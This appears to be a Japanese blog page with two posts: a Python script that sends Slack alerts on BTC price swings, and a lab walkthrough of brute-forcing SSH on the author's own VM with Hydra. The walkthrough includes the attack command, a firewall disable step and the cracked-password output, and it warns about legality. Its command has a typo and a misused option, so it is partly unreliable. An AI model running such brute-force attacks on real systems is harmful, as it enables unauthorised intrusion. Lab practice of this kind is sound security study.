このリクエストを実行すると現在のBTCの価値などの情報がjson形式で帰ってくる


{"last":570723.0,"bid":570723.0,"ask":570817.0,"high":579499.0,"low":533102.0,"volume":43952.21153332,"timestamp":1507803511}

こいつをスクリプトの中で実行して、トリミング後にパラメータとして実行する

slackAPIへと投げてくれるスクリプトのソース

github.com/myschool

githubに全てのソースと設定ファイルを置いているので、環境さえ整っていれば動く、はず!


import subprocess
import sys

#変動幅
PRICE = 3000 
FLAG = 0

#それぞれの文字列をfloat化してdiffを計算するメソッド
def calcurate(now_rate,later_rate):
    now = float(now_rate)
    later = float(later_rate)
    result = now - later
    print(result)
    return result

#diffによる条件分岐メソッド
def select(result):
    if result < 0 and result < -PRICE :
        print("大幅下落時の処理")
        #FLAG = 0
        return 0
    elif result > 0 and result > PRICE :
        print("大幅高騰時の処理")
        #FLAG = 1
        return 1 
    elif result == 0:
        print("変化なし")
    else:
        print("大幅な変化なし")

#slackにpost_apiを叩くメソッド
def send_slack(FLAG,now_rate,result):
    if FLAG == 1:
        cmd = "curl -XPOST -d token=取得したtoken -d channel=#btc_channel -d text=高騰中:Now_changing_rate_:__now_rate:" + str(now_rate) + "__:value_change:" + str(result) + " -d username=btc_alert https://slack.com/api/chat.postMessage"
        subprocess.call( cmd.split(" ") )
    elif FLAG == 0:
        cmd = "curl -XPOST -d token=取得したtoken -d channel=#btc_channel -d text=暴落中:Now_changing_rate_:__now_rate:" + str(now_rate) + "__:value_change:" + str(result) + " -d username=btc_alert https://slack.com/api/chat.postMessage"
        subprocess.call( cmd.split(" ") )
    else:
        print("Nothing alert")


#curlでcoincheckからパラメータ取得
cmd = "curl GET https://coincheck.com/api/ticker"
now_price = subprocess.check_output( cmd.split(" ") )

#前回スクリプト実行時のパラメータを取得
#開くファイルのパスを指定
for later_rate in open('/home/shambara/api/file.txt', 'r'):
    print(later_rate)

        #現在のパラメータのトリミング
print(now_price)
now_price = str(now_price)
now_price = now_price.split(",")

numresult = now_price[0].split(":")
now_rate = numresult[1]

#diff計算
result = calcurate(now_rate,later_rate)
print("result is " +str(result))

#diffにより処理分岐
FLAG = select(result)

print("FLAG is " + str(FLAG))

#slackにapiを叩く
send_slack(FLAG,now_rate,result)


#現在のパラメータを外部ファイルに保存
#書き込むファイルのパスを指定
now_rate = str(now_rate)
file = open('/home/shambara/api/file.txt','w')
file.write(now_rate)
file.close()

hydraでSSHパスワードクラック

 

なんとなく、夏休みで微妙にヒマ。と言うことでHydraを使って自前のVM上でSSH認証にブルートフォースアタックしてみた。許可された環境で攻撃をしていますが、今から紹介する方法を許可されていない環境や所有者が自身ではないマシンに攻撃した場合は立派な犯罪行為になるので実行するなら許可された範囲内で実行してください。

 

そもそもhydraって何?

 

f:id:ayataka00:20170821174934j:plain

画像はKali Linux

hydraは簡単に言うと、認証機構にブルートフォースアタック(辞書引き攻撃)を仕掛けるツール

少しの知識があれば初心者でも容易にブルートフォースアタックができてしまう恐ろしいツール、当初はKali Linuxにデフォルトで入っているhydraを使おうとしてた。

だけどKali Linuxが重い、遅い。そこでもう今回だけはMacBookのローカル上からVMに攻撃してみた。

実行環境

攻撃マシン

MacBook Sierra 10.12

Hydra v8.6

やられマシン

CentOS Linux release 7.3.1611 (Core)

 

手順

  • hydraのインストール
  • VM側の所設定
  • 攻撃
  • ログの確認

hydraのインストール

$ sudo brew install hydra

インストール完了!と思いきや、いざ実行すると...

[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!

なんかモジュール足りてない.. そこで一度インストールしたhydraをアンインストール、再度インストールする

$ brew uninstall hydra
$ brew install -v --with-libssh hydra

動いたああ

 

VMの所設定

まずSSH認証破られる側のユーザを作成した

USER : crack   PASSWORD : Alexis

今回はデフォルトの辞書を使用するため、その中からランダムに選んだAlexisをパスワードに設定 多分、関係はないと思うが一応VMのFirewallも解除しておいた。

$ sudo systemctl stop firewalld

 

攻撃

ついに攻撃フェーズ、もう一度言っとくが自分の作ったマシンや許可されたマシンだけに攻撃しないと立派な犯罪行為なので気をつけること。

hydraの使い方

hydra -l ユーザ -p '辞書のパス' 攻撃するマシンのIP プロトコル

 

今回はcrackというユーザのssh認証のパスワードを盗み取るため

$ hydea -l crack -p '/usr/share/dict/words' 10.10.10.10(仮IP) ssh

で実行

SSH認証は割と堅い方の認証だからか...25分くらい時間かかった。 そして結果!

Hydra (http://www.thc.org/thc-hydra) starting at 2017-08-17 15:51:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 235886 login tries (l:1/p:235886), ~14743 tries per task
[DATA] attacking ssh://10.10.10.10:22/
[STATUS] 258.00 tries/min, 258 tries in 00:01h, 235630 to do in 15:14h, 16 active
[STATUS] 246.00 tries/min, 738 tries in 00:03h, 235150 to do in 15:56h, 16 active
[STATUS] 239.71 tries/min, 1678 tries in 00:07h, 234210 to do in 16:18h, 16 active
[STATUS] 235.93 tries/min, 3539 tries in 00:15h, 232349 to do in 16:25h, 16 active
[22][ssh] host: 10.10.10.10   login: crack   password: Alexis
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2017-08-17 16:13:11

[22][ssh] host: 10.10.10.10 login: crack password: Alexis

ばっちり取れてんじゃん...最高かよ

 

ログの確認

このブルートフォースアタックをしている際のエラーログは/var/log/secureに吐き出されていて、エグい数のログが残されているので確認してみると実際に辞書引き攻撃をされている様子がわかる。ほんとエグい数なので今回は割愛。

 

総括

いくらssh認証でもユーザがわかっている状態でパスワードが強度皆無だと

所要時間: about 23分 ユーザ名: crack パスワード: Alexis

で破られる事が体感できた。今回はhydraをインストールした際に付いてきたデフォルトの辞書を用いて攻撃したが世の中にはもっと人々が使うであろう単語を辞書化した辞書がたくさんあるだろうから、ある程度の強度のパスワードは簡単に破れるんだろうなーっと感じた。本当に強いパスワードって大事だ...

次回は攻撃者の視点からみた攻撃の手順なんかを書いてみようかなと思う。

 

大変参考になったページ

ろば電子が詰まっている